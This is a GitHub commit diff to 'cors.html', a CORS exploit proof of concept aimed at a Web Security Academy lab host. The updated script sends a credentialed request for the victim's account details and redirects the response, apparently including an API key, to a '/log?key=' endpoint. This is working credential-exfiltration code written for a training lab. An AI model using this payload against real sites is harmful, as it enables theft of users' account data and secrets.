Skip to content

Commit

Permalink
Update cors.html
Browse files Browse the repository at this point in the history
  • Loading branch information
sudosuraj authored Nov 23, 2022
1 parent a1d737b commit d42d5f9
Showing 1 changed file with 9 additions and 10 deletions.
19 changes: 9 additions & 10 deletions cors.html
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,15 @@ <h2>CORS PoC</h2>
</div>
<script>
function cors() {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhr.open("GET",
"0a5d001f0467d4e7c0ac2d6e00a30076.web-security-academy.net/accountDetails", true);
xhr.withCredentials = true;
xhr.send();
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','0a5d001f0467d4e7c0ac2d6e00a30076.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/log?key='+this.responseText;
};
}
</script>
</body>
Expand Down

0 comments on commit d42d5f9

Please sign in to comment.